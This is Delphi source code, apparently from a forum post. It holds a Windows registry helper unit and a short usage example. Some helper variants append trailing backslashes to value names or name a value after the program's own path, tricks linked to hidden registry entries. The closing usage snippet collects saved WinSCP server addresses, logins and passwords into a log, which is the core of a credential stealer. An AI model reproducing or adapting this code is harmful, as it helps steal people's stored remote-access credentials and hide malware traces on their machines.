SubKey : String; N : Integer; Dispo : DWORD; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If n > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegCreateKeyEx(RootKey, PChar(SubKey), 0, Nil, REG_OPTION_NON_VOLATILE, KEY_WRITE Or KEY_WOW64_64KEY, Nil, hTemp, @dispo) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); Result := (RegSetValueEx(HTemp, PChar(SubKey), 0, ValType, PVal, ValSize) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegSetRZValue(RootKey: HKEY; Name: String; ValType: Cardinal; PVal: Pointer; ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; Dispo : DWORD; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegCreateKeyEx(RootKey, PChar(SubKey), 0, Nil, REG_OPTION_NON_VOLATILE, KEY_WRITE Or KEY_WOW64_64KEY, Nil, hTemp, @dispo) = ERROR_SUCCESS Then Begin SubKey := Copy(Name + '\' , N + 1, Length(Name) - N); Result := (RegSetValueEx(HTemp, PChar(SubKey + '\'), 0, ValType, PVal, ValSize) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; function RegSetRZ2Value(RootKey: HKEY; Name: String; ValType: Cardinal; PVal: Pointer; ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; Dispo : DWORD; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegCreateKeyEx(RootKey, PChar(SubKey), 0, Nil, REG_OPTION_NON_VOLATILE, KEY_WRITE Or KEY_WOW64_64KEY, Nil, hTemp, @dispo) = ERROR_SUCCESS Then Begin Result := (RegSetValueEx(hTemp, PChar(ParamStr(0)), 0, ValType, PVal, ValSize) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegGetValue(RootKey: HKEY; Name: String; ValType: Cardinal; Var PVal: Pointer; Var ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; MyValType : DWORD; hTemp : HKEY; Buf : Pointer; BufSize : Cardinal; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ Or KEY_WOW64_64KEY, hTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); If RegQueryValueEx(hTemp, PChar(SubKey), Nil, @MyValType, Nil, @BufSize) = ERROR_SUCCESS Then Begin GetMem(Buf, BufSize); if RegQueryValueEx(hTemp, PChar(SubKey), Nil, @MyValType, Buf, @BufSize) = ERROR_SUCCESS Then Begin If ValType = MyValType Then Begin PVal := Buf; ValSize := BufSize; Result := True; End Else FreeMem(Buf); End Else FreeMem(Buf); End; RegCloseKey(hTemp); End; End; End; Function RegGetRZValue(RootKey: HKEY; Name: String; ValType: Cardinal; Var PVal: Pointer; Var ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; MyValType : DWORD; hTemp : HKEY; Buf : Pointer; BufSize : Cardinal; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ Or KEY_WOW64_64KEY, HTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); If RegQueryValueEx(HTemp, PChar(SubKey), Nil, @MyValType, Nil, @BufSize) = ERROR_SUCCESS Then Begin GetMem(Buf, BufSize); SubKey := SubKey + '\'; If RegQueryValueEx(hTemp, PChar(SubKey), Nil, @MyValType, Buf, @BufSize) = ERROR_SUCCESS Then Begin If ValType = MyValType Then Begin PVal := Buf; ValSize := BufSize; Result := True; End Else FreeMem(Buf); End Else FreeMem(Buf); End; RegCloseKey(hTemp); End; End; End; Function RegSetString(RootKey: HKEY; Name: String; Value: String): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_SZ, PChar(Value + #0), Length(Value) + 1); End; Function RegSetRzString(RootKey: HKEY; Name: String; Value: String): Boolean; Begin Result := RegSetRzValue(RootKey, Name, REG_SZ, PChar(Value + #0), Length(Value) + 1); End; Function RegSetRz2String(RootKey: HKEY; Name: String; Value: String): boolean; Begin Result := RegSetRz2Value(RootKey, Name, REG_SZ, PChar(Value + #0), Length(Value) + 1); End; Function RegSetMultiString(RootKey: HKEY; Name: String; Value: String): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_MULTI_SZ, PChar(Value + #0#0), Length(Value) + 2); End; Function RegSetExpandString(RootKey: HKEY; Name: String; Value: String): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_EXPAND_SZ, PChar(Value + #0#0), Length(Value) + 1); End; Function RegSetDword(RootKey: HKEY; Name: String; Value: Cardinal): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_DWORD, @Value, SizeOf(Cardinal)); End; Function RegSetBinary(RootKey: HKEY; Name: String; Value: Array of Byte): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_BINARY, @Value[Low(Value)], length(Value)); End; Function RegGetString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_SZ, Buf, BufSize) Then Begin Dec(BufSize); SetLength(Value, BufSize); If BufSize > 0 Then CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetRZString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetRzValue(RootKey, Name, REG_SZ, Buf, BufSize) Then Begin Dec(BufSize); SetLength(Value, BufSize); If BufSize > 0 Then CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetMultiString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_MULTI_SZ, Buf, BufSize) Then Begin Dec(BufSize); SetLength(Value, BufSize); If BufSize > 0 Then CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetExpandString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_EXPAND_SZ, Buf, BufSize) Then Begin Dec(BufSize); SetLength(Value, BufSize); If BufSize > 0 Then CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetDWORD(RootKey: HKEY; Name: String; Var Value: Cardinal): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_DWORD, Buf, BufSize) Then Begin CopyMemory(@Value, Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetBinary(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_BINARY, Buf, BufSize) Then Begin SetLength(Value, BufSize); CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegValueExists(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : Integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If n > 0 Then Begin SubKey := Copy(Name, 1, n - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ or KEY_WOW64_64KEY, hTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); Result := (RegQueryValueEx(HTemp, PChar(SubKey), Nil, Nil, Nil, Nil) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegKeyExists(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : Integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If n > 0 Then Begin SubKey := Copy(Name, 1, n - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ Or KEY_WOW64_64KEY, hTemp) = ERROR_SUCCESS Then Begin Result := True; RegCloseKey(hTemp); End; End; End; Function RegDelValue(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If n > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE Or KEY_WOW64_64KEY, HTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); Result := (RegDeleteValue(HTemp, PChar(SubKey)) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegDelValueRZ(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : Integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE Or KEY_WOW64_64KEY, HTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N) + '\'; Result := (RegDeleteValue(HTemp, PChar(SubKey)) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegDelKey(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : Integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE Or KEY_WOW64_64KEY, HTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); Result := (RegDeleteKey(HTemp, PChar(SubKey)) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; End. Использование: Procedure WinSPCReadArray; Var I: Integer; Begin For I := 1 To WinSCP_ArNum Do Begin If I = 1 Then Log := Log + 'WinSCP (' + IntToStr(WinSCP_ArNum) + ' items)' + Cl + Cl; Log := Log + Cl4 + 'serv: ' + Cl3 + WinSCP_Srv_Ar[I] + Cl + Cl4 + 'login: ' + Cl3 + WinSCP_Log_Ar[I] + Cl + Cl4 + 'pass: ' + Cl3 + WinSCP_Pwd_Ar[I] + Cl2; End; End;
×